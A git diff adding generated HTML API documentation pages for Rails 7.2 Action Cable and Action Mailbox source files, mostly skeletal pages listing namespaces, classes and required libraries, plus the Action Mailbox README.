diff --git a/src/7.2/files/actioncable/lib/action_cable/channel/periodic_timers_rb.html b/src/7.2/files/actioncable/lib/action_cable/channel/periodic_timers_rb.html new file mode 100644 index 0000000000..4f059bb121 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/channel/periodic_timers_rb.html @@ -0,0 +1,76 @@ +--- +title: periodic_timers.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/channel/streams_rb.html b/src/7.2/files/actioncable/lib/action_cable/channel/streams_rb.html new file mode 100644 index 0000000000..e0c9a1d536 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/channel/streams_rb.html @@ -0,0 +1,76 @@ +--- +title: streams.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/channel/test_case_rb.html b/src/7.2/files/actioncable/lib/action_cable/channel/test_case_rb.html new file mode 100644 index 0000000000..297621cb33 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/channel/test_case_rb.html @@ -0,0 +1,105 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/test_case
  • + +
  • active_support/core_ext/hash/indifferent_access
  • + +
  • json
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/authorization_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/authorization_rb.html new file mode 100644 index 0000000000..996cc3f6b9 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/authorization_rb.html @@ -0,0 +1,81 @@ +--- +title: authorization.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/base_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/base_rb.html new file mode 100644 index 0000000000..bfb0b160ec --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/base_rb.html @@ -0,0 +1,91 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch
  • + +
  • active_support/rescuable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/callbacks_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/callbacks_rb.html new file mode 100644 index 0000000000..ea082e972e --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/callbacks_rb.html @@ -0,0 +1,84 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/callbacks
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/client_socket_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/client_socket_rb.html new file mode 100644 index 0000000000..bbe79598e7 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/client_socket_rb.html @@ -0,0 +1,80 @@ +--- +title: client_socket.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • websocket/driver
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/identification_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/identification_rb.html new file mode 100644 index 0000000000..b27cee010f --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/identification_rb.html @@ -0,0 +1,84 @@ +--- +title: identification.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • set
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/internal_channel_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/internal_channel_rb.html new file mode 100644 index 0000000000..656b4a1d9d --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/internal_channel_rb.html @@ -0,0 +1,74 @@ +--- +title: internal_channel.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/message_buffer_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/message_buffer_rb.html new file mode 100644 index 0000000000..16eab72eb2 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/message_buffer_rb.html @@ -0,0 +1,72 @@ +--- +title: message_buffer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/stream_event_loop_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/stream_event_loop_rb.html new file mode 100644 index 0000000000..c0c91747ad --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/stream_event_loop_rb.html @@ -0,0 +1,87 @@ +--- +title: stream_event_loop.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • nio
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/stream_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/stream_rb.html new file mode 100644 index 0000000000..eaaaffb24c --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/stream_rb.html @@ -0,0 +1,72 @@ +--- +title: stream.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/subscriptions_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/subscriptions_rb.html new file mode 100644 index 0000000000..b9ccaeee14 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/subscriptions_rb.html @@ -0,0 +1,84 @@ +--- +title: subscriptions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/indifferent_access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/tagged_logger_proxy_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/tagged_logger_proxy_rb.html new file mode 100644 index 0000000000..8f6f037c22 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/tagged_logger_proxy_rb.html @@ -0,0 +1,79 @@ +--- +title: tagged_logger_proxy.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/test_case_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/test_case_rb.html new file mode 100644 index 0000000000..382c842061 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/test_case_rb.html @@ -0,0 +1,117 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/test_case
  • + +
  • active_support/core_ext/hash/indifferent_access
  • + +
  • action_dispatch
  • + +
  • action_dispatch/http/headers
  • + +
  • action_dispatch/testing/test_request
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/connection/web_socket_rb.html b/src/7.2/files/actioncable/lib/action_cable/connection/web_socket_rb.html new file mode 100644 index 0000000000..47ac1110c5 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/connection/web_socket_rb.html @@ -0,0 +1,80 @@ +--- +title: web_socket.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • websocket/driver
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/deprecator_rb.html b/src/7.2/files/actioncable/lib/action_cable/deprecator_rb.html new file mode 100644 index 0000000000..b5f43f645a --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/engine_rb.html b/src/7.2/files/actioncable/lib/action_cable/engine_rb.html new file mode 100644 index 0000000000..cd786fa587 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/engine_rb.html @@ -0,0 +1,88 @@ +--- +title: engine.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails
  • + +
  • action_cable
  • + +
  • active_support/core_ext/hash/indifferent_access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/gem_version_rb.html b/src/7.2/files/actioncable/lib/action_cable/gem_version_rb.html new file mode 100644 index 0000000000..7652bb136f --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/helpers/action_cable_helper_rb.html b/src/7.2/files/actioncable/lib/action_cable/helpers/action_cable_helper_rb.html new file mode 100644 index 0000000000..b5007eec2f --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/helpers/action_cable_helper_rb.html @@ -0,0 +1,74 @@ +--- +title: action_cable_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/remote_connections_rb.html b/src/7.2/files/actioncable/lib/action_cable/remote_connections_rb.html new file mode 100644 index 0000000000..6c9f47e656 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/remote_connections_rb.html @@ -0,0 +1,89 @@ +--- +title: remote_connections.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/redefine_method
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/server/base_rb.html b/src/7.2/files/actioncable/lib/action_cable/server/base_rb.html new file mode 100644 index 0000000000..7fa9555637 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/server/base_rb.html @@ -0,0 +1,89 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • monitor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/server/broadcasting_rb.html b/src/7.2/files/actioncable/lib/action_cable/server/broadcasting_rb.html new file mode 100644 index 0000000000..06229b0fb2 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/server/broadcasting_rb.html @@ -0,0 +1,83 @@ +--- +title: broadcasting.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/server/configuration_rb.html b/src/7.2/files/actioncable/lib/action_cable/server/configuration_rb.html new file mode 100644 index 0000000000..9cda1a4864 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/server/configuration_rb.html @@ -0,0 +1,89 @@ +--- +title: configuration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rack
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/server/connections_rb.html b/src/7.2/files/actioncable/lib/action_cable/server/connections_rb.html new file mode 100644 index 0000000000..a254cf629b --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/server/connections_rb.html @@ -0,0 +1,72 @@ +--- +title: connections.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/server/worker/active_record_connection_management_rb.html b/src/7.2/files/actioncable/lib/action_cable/server/worker/active_record_connection_management_rb.html new file mode 100644 index 0000000000..38a3b92490 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/server/worker/active_record_connection_management_rb.html @@ -0,0 +1,83 @@ +--- +title: active_record_connection_management.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/server/worker_rb.html b/src/7.2/files/actioncable/lib/action_cable/server/worker_rb.html new file mode 100644 index 0000000000..3a1dad8410 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/server/worker_rb.html @@ -0,0 +1,91 @@ +--- +title: worker.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/callbacks
  • + +
  • active_support/core_ext/module/attribute_accessors_per_thread
  • + +
  • concurrent
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/async_rb.html b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/async_rb.html new file mode 100644 index 0000000000..3aae4f942c --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/async_rb.html @@ -0,0 +1,81 @@ +--- +title: async.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/base_rb.html b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/base_rb.html new file mode 100644 index 0000000000..dff5d149b9 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/base_rb.html @@ -0,0 +1,79 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/channel_prefix_rb.html b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/channel_prefix_rb.html new file mode 100644 index 0000000000..c1ec0d13e9 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/channel_prefix_rb.html @@ -0,0 +1,72 @@ +--- +title: channel_prefix.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/inline_rb.html b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/inline_rb.html new file mode 100644 index 0000000000..c6d6208ce5 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/inline_rb.html @@ -0,0 +1,72 @@ +--- +title: inline.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/postgresql_rb.html b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/postgresql_rb.html new file mode 100644 index 0000000000..937e8ff605 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/postgresql_rb.html @@ -0,0 +1,95 @@ +--- +title: postgresql.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • pg
  • + +
  • openssl
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/redis_rb.html b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/redis_rb.html new file mode 100644 index 0000000000..61799d9ce8 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/redis_rb.html @@ -0,0 +1,93 @@ +--- +title: redis.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • redis
  • + +
  • active_support/core_ext/hash/except
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/subscriber_map_rb.html b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/subscriber_map_rb.html new file mode 100644 index 0000000000..f4a2905ba9 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/subscriber_map_rb.html @@ -0,0 +1,79 @@ +--- +title: subscriber_map.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/test_rb.html b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/test_rb.html new file mode 100644 index 0000000000..d634045d6e --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/subscription_adapter/test_rb.html @@ -0,0 +1,79 @@ +--- +title: test.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/test_case_rb.html b/src/7.2/files/actioncable/lib/action_cable/test_case_rb.html new file mode 100644 index 0000000000..b87722c36b --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/test_case_rb.html @@ -0,0 +1,85 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/test_case
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/test_helper_rb.html b/src/7.2/files/actioncable/lib/action_cable/test_helper_rb.html new file mode 100644 index 0000000000..7eb00f00ce --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/test_helper_rb.html @@ -0,0 +1,76 @@ +--- +title: test_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/version_rb.html b/src/7.2/files/actioncable/lib/action_cable/version_rb.html new file mode 100644 index 0000000000..2bfbd03cef --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable_rb.html b/src/7.2/files/actioncable/lib/action_cable_rb.html new file mode 100644 index 0000000000..d53e890eca --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable_rb.html @@ -0,0 +1,82 @@ +--- +title: action_cable.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • zeitwerk
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/README_md.html b/src/7.2/files/actionmailbox/README_md.html new file mode 100644 index 0000000000..0b798502dc --- /dev/null +++ b/src/7.2/files/actionmailbox/README_md.html @@ -0,0 +1,75 @@ +--- +title: README.md +layout: default +--- +
+ + +
+
+ +
+ +

Action Mailbox

+ +

Action Mailbox routes incoming emails to controller-like mailboxes for processing in Rails. It ships with ingresses for Mailgun, Mandrill, Postmark, and SendGrid. You can also handle inbound mails directly via the built-in Exim, Postfix, and Qmail ingresses.

+ +

The inbound emails are turned into InboundEmail records using Active Record and feature lifecycle tracking, storage of the original email on cloud storage via Active Storage, and responsible data handling with on-by-default incineration.

+ +

These inbound emails are routed asynchronously using Active Job to one or several dedicated mailboxes, which are capable of interacting directly with the rest of your domain model.

+ +

You can read more about Action Mailbox in the Action Mailbox Basics guide.

+ +

License

+ +

Action Mailbox is released under the MIT License.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/action_mailbox/base_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/base_controller_rb.html new file mode 100644 index 0000000000..81a426cf96 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/base_controller_rb.html @@ -0,0 +1,77 @@ +--- +title: base_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller_rb.html new file mode 100644 index 0000000000..9d2e42325a --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller_rb.html @@ -0,0 +1,95 @@ +--- +title: inbound_emails_controller.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • body-mime
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller_rb.html new file mode 100644 index 0000000000..e552961850 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller_rb.html @@ -0,0 +1,87 @@ +--- +title: inbound_emails_controller.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/postmark/inbound_emails_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/postmark/inbound_emails_controller_rb.html new file mode 100644 index 0000000000..bc2d853ee2 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/postmark/inbound_emails_controller_rb.html @@ -0,0 +1,89 @@ +--- +title: inbound_emails_controller.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • RawEmail
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/relay/inbound_emails_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/relay/inbound_emails_controller_rb.html new file mode 100644 index 0000000000..a4770926b9 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/relay/inbound_emails_controller_rb.html @@ -0,0 +1,81 @@ +--- +title: inbound_emails_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/sendgrid/inbound_emails_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/sendgrid/inbound_emails_controller_rb.html new file mode 100644 index 0000000000..8c204f66af --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/action_mailbox/ingresses/sendgrid/inbound_emails_controller_rb.html @@ -0,0 +1,81 @@ +--- +title: inbound_emails_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails/sources_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails/sources_controller_rb.html new file mode 100644 index 0000000000..6908ccd6cb --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails/sources_controller_rb.html @@ -0,0 +1,57 @@ +--- +title: sources_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller_rb.html new file mode 100644 index 0000000000..dfd99735fb --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller_rb.html @@ -0,0 +1,57 @@ +--- +title: inbound_emails_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/incinerates_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/incinerates_controller_rb.html new file mode 100644 index 0000000000..29200e023d --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/incinerates_controller_rb.html @@ -0,0 +1,57 @@ +--- +title: incinerates_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/reroutes_controller_rb.html b/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/reroutes_controller_rb.html new file mode 100644 index 0000000000..0d4995311a --- /dev/null +++ b/src/7.2/files/actionmailbox/app/controllers/rails/conductor/action_mailbox/reroutes_controller_rb.html @@ -0,0 +1,57 @@ +--- +title: reroutes_controller.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/jobs/action_mailbox/incineration_job_rb.html b/src/7.2/files/actionmailbox/app/jobs/action_mailbox/incineration_job_rb.html new file mode 100644 index 0000000000..8d3ac8e4d0 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/jobs/action_mailbox/incineration_job_rb.html @@ -0,0 +1,79 @@ +--- +title: incineration_job.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/jobs/action_mailbox/routing_job_rb.html b/src/7.2/files/actionmailbox/app/jobs/action_mailbox/routing_job_rb.html new file mode 100644 index 0000000000..aed7f09a88 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/jobs/action_mailbox/routing_job_rb.html @@ -0,0 +1,77 @@ +--- +title: routing_job.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/incineratable/incineration_rb.html b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/incineratable/incineration_rb.html new file mode 100644 index 0000000000..e5bb95798d --- /dev/null +++ b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/incineratable/incineration_rb.html @@ -0,0 +1,81 @@ +--- +title: incineration.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/incineratable_rb.html b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/incineratable_rb.html new file mode 100644 index 0000000000..2d9b23ff54 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/incineratable_rb.html @@ -0,0 +1,85 @@ +--- +title: incineratable.rb +layout: default +--- +
+ + +
+
